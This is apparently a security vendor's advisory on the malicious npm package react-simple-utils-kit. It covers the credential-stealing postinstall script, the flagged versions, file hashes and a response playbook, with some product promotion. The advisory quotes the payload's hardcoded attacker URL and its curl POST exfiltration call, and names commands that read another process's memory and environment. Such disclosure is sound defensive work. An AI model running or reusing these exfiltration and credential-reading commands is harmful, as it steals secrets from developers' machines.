Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

react-simple-utils-kitnpm

Malicious code in react-simple-utils-kit (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6303
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall react-simple-utils-kit

What this malware does

Package advertises itself as 'a simple date formatting utility for React projects' (3-function index.js), but ships a postinstall.js that runs on every npm install and performs an extensive reconnaissance + credential-harvest sweep against the installer's host, POSTing each result over plain HTTP to a hardcoded attacker endpoint at http://2e3bkumw.requestrepo.com (a one-shot request-interception domain unrelated to any legitimate publisher). postinstall.js:8 hardcodes const BURL = 'http://2e3bkumw.requestrepo.com' and postinstall.js:16 invokes execSync(\curl -s -m 8 -X POST -d @${tmpFile} ${BURL}/${key}...`)to ship results. Collected data includes: process capabilities and ptrace scope, strace attach against PID 2, raw memory reads of another process viaxxd /proc/2/mem, that process's environment block via cat /proc/2/environ(commonly containing CI tokens and cloud credentials),/proc/2/cmdline, ps aux, listening-port enumeration, MCP probing on localhost:9000, and raw-disk reads from /dev/vdb. The package's name targets React developers via a date-utility cover story (empty author field, Chinese comment 绕过能力探测= 'capability-detection bypass'); none of this behavior is consistent with the advertised purpose. Installer harm is concrete and immediate: any host runningnpm install react-simple-utils-kit` leaks process-tree secrets, environment variables of other running processes, kernel/container introspection data, and raw block-device contents to attacker infrastructure.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

16 flagged
1.0.01.0.11.0.21.0.41.0.51.1.01.2.01.2.11.2.21.3.01.3.11.3.21.3.31.4.01.4.11.4.2

Indicators of compromise (SHA-256)

038aa6bccd8008fec1f309d718e53dd4b89e4ca15a976c6a80652e0dd58a5b58
8886d4d16de552939e01d8bd472dd2b8dce46a0abf77d253cbcb09dae4830373
b0b31ec7c4d366cc5f7f5a46466f414bba1a641964c6b997d30f9220f186bbbd
b1ec8b00031d31e45f8ed1936395bd52f1ea16df4e652521b3732bafdbbff604
bfeef9da283d7f26660e055fd2f70cf71c1231f13a3029971689bf9082098e88
2e293c75200e773ed6bef24f23d483ffc71565dd465336318f240f06be8eb3ff
66fb37d80d5b57c42447704336d28fa810af4c46c2cee5f2abac2452dd3b469b
95a5ed56bbe208d78882a1026d8aa0b9e8659b3a85c1b9a849a0718907e1c342
963d8f444d49da2d58e2c58cceff09bf9c685f38b03fd4286f8521e9b4701b9a
e682e830cea8fa19e03a89aab70edc2259dbd0744d335cfc40de5ca0be2e2ca3
716430e4a7dd41de65f4f46768c7db4ca994be72406c8e312a5955f60d4835d8
8af4223f1220931d40aa0369b3d1590079e6c047f18ad29051f4fba20143ca88
a1e740ad238b57435991e84637e4bf314c9154498ec231f9492c313ae364c71b
9dda662ed01f939793fc3a67b24c2078f4ba731817f72623ba2b177b23f8a52f
c78fcb17e3152afdb3f27b202c9e7d19735460a1bb6743ecf61e3e379a273eea
d0dab6842ed9ed6871c0bc982363bd1ede197cbe269eb124a7ebc16f1d9dca0e
29295ef35aa59796f637df779516a0382cbe1ce88e69a5c9f40012d9e63c9cfd

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for react-simple-utils-kit (16 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging react-simple-utils-kit across your stack and pipelines.

  2. If you installed it — respond

    react-simple-utils-kit is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If react-simple-utils-kit was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks react-simple-utils-kit before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. react-simple-utils-kit on npm has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.2, 1.0.4, 1.0.5, 1.1.0, 1.2.0, 1.2.1, and 8 more flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007224IN-MAL-2026-007213IN-MAL-2026-007215IN-MAL-2026-007209IN-MAL-2026-007219IN-MAL-2026-007220IN-MAL-2026-007218IN-MAL-2026-007217IN-MAL-2026-007210IN-MAL-2026-007211IN-MAL-2026-007222IN-MAL-2026-007212IN-MAL-2026-007216IN-MAL-2026-007223IN-MAL-2026-007214IN-MAL-2026-007221GHSA-9p56-xfq3-77x5

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks react-simple-utils-kit-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.